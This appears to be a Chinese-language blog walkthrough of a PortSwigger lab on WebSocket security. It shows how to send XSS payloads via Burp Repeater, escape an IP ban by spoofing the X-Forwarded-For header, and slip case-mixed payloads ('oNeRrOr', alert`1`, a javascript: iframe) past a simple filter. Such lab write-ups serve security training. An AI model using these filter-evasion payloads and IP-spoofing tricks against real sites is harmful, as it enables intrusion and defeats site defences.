操纵 WebSocket 握手(PortSwigger)
PortSwigger——WebSockets vulnerabilities
Lab: Manipulating the WebSocket handshake to exploit vulnerabilities
- WebSocket 是如何建立连接的(Handshake)。
- 服务器是如何根据 IP 对 WebSocket 进行封禁,以及为什么可以绕过。
第一步:发送正常聊天消息
Click "Live chat" and send a chat message.
作用:
建立一个正常的 WebSocket 连接。
浏览器会先发送:
GET /chat HTTP/1.1
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: ...
Sec-WebSocket-Version: 13
服务器返回
101 Switching Protocols
此时 HTTP 协议升级成了 WebSocket。
之后聊天内容都不会再走 HTTP,而是走:
Client
│
│ WebSocket Frame
▼
Server
所以先发一条聊天消息,是为了让 Burp 能抓到 WebSocket 数据。
打开burp的拦截后给对方发一个信息

第二步:查看 WebSockets history
In Burp Proxy, go to the WebSockets history tab
这里不是 HTTP History。
而是:
Proxy
│
├── HTTP history
│
└── WebSockets history
因为聊天内容已经不是 HTTP Request。
例如:
hello
实际上变成
Text Frame
hello
Burp 会显示:
→ hello
← hello
第三步:Send to Repeater
Right-click → Send to Repeater
为什么?
因为 Repeater 可以:
- 修改 WebSocket 消息
- 无限重发
- 不影响浏览器
例如:
浏览器发的是
hello
在 Repeater 可以改成
<script>alert(1)</script>
或者
<img src=1 onerror=alert(1)>

发送到repeater后结束刚才的拦截(光放行是不行的),之后repeater的右侧history中显示出了对方的回复client后即算操作正确

第四步:发送普通 XSS
<img src=1 onerror='alert(1)'>
为什么?
这里是在测试:
服务器有没有过滤 XSS。
正常来说:
浏览器收到
<img src=1 onerror='alert(1)'>
浏览器加载
src=1
失败
触发
onerror
执行
alert(1)
所以这是最经典的 XSS Payload。
在repeater中发送xss攻击的代码



发送后刷新live chat的页面后出现the address is blacklisted 就说明第一阶段的普通xss攻击成功了
第五步:攻击被拦截
Observe that the attack has been blocked
服务器检测到了:
onerror=
于是:
- 拒绝消息
- 关闭 WebSocket
例如:
Close Frame
1008 Policy Violation
或者直接:
TCP FIN
所以连接没了。
第六步:Reconnect
点击:
Reconnect
结果:
403
或者
Connection Failed
为什么?
因为服务器已经把你的 IP 拉黑。
例如:
服务器记录
192.168.1.8
Status
Blocked
以后所有连接:
192.168.1.8
↓
Reject
所以连不上。
第七步:修改握手(重点)
Lab 名字就是:
Manipulating the WebSocket handshake
也就是修改:
第一次 Upgrade 请求。
例如:
原来:
GET /chat HTTP/1.1
Upgrade: websocket
修改成:
GET /chat HTTP/1.1
Upgrade: websocket
X-Forwarded-For: 1.1.1.1
为什么?
因为很多网站:
真实架构是:
Browser
↓
Nginx
↓
Tomcat
真正客户端 IP:
通常来自
X-Forwarded-For
例如:
Client
↓
Nginx
↓
Tomcat
Nginx:
X-Forwarded-For:
203.1.2.3
Tomcat:
哦
客户端是:
203.1.2.3
如果服务器错误地信任客户端自己提供的 X-Forwarded-For,那么攻击者可以伪造 IP。
例如:
X-Forwarded-For:
1.1.1.1
服务器认为:
攻击者不是原来的 IP
允许连接
实际上:
真实 IP 根本没变。
所以这是:
IP Spoofing(应用层伪造)。
注意这不是网络层真正修改 IP,而是利用应用错误信任 HTTP 头。
第八步:重新连接成功
因为服务器认为:
新 IP
↓
1.1.1.1
不是:
192.168.1.8
于是:
101 Switching Protocols
连接重新建立。
打开burp的拦截后刷新刚才的live chat页面 在请求中加入我们新的ip地址(例如1.1.1.1)

放行成功后会出现新的live chat页面 只是没了我们之前的聊天记录(不要关闭拦截 往后我们每次放行一次该页面的请求时我们都得加入新的ip直至完成新的xss注入)

在repeater中重新连接

第九步:发送混淆 XSS
官方给的是:
<img src=1 oNeRrOr=alert`1`>
为什么这样写?
普通:
onerror
很多 WAF:
if payload contains "onerror"
↓
Block
但是 HTML 属性大小写不敏感。
所以:
oNeRrOr
浏览器解析成:
onerror
完全一样。
因此:
oNeRrOr
可以绕过一些大小写敏感的检测。
另外:
alert`1`
为什么不用:
alert(1)
因为:
JavaScript 支持:
函数`模板字符串`
例如:
alert`1`
相当于:
alert(["1"])
浏览器最后仍然会弹窗。
很多过滤器只检查:
alert(
因此:
alert`
就绕过去了。
最终 Payload:
<img src=1 oNeRrOr=alert`1`>
浏览器仍然执行:
图片加载失败
↓
触发 onerror
↓
执行 alert
但服务器如果只做简单字符串匹配,就可能没有识别出来。
除了以上官方的回答外 我们也有其它的代码方案
<iframe src='jAvAsCripT:alert`1`'></iframe>

整个 Lab 的流程图
浏览器
│
│ 建立 WebSocket
▼
Server
│
│ 发送普通 XSS
▼
WAF 检测到 onerror
│
├── 拒绝消息
└── 封禁 IP
│
▼
Reconnect 失败
│
▼
修改握手请求
X-Forwarded-For: 1.1.1.1
│
▼
服务器误认为新 IP
│
▼
连接成功
│
▼
发送混淆 Payload
<img src=1 oNeRrOr=alert`1`>
│
▼
绕过简单过滤
│
▼
XSS 成功更多推荐



所有评论(0)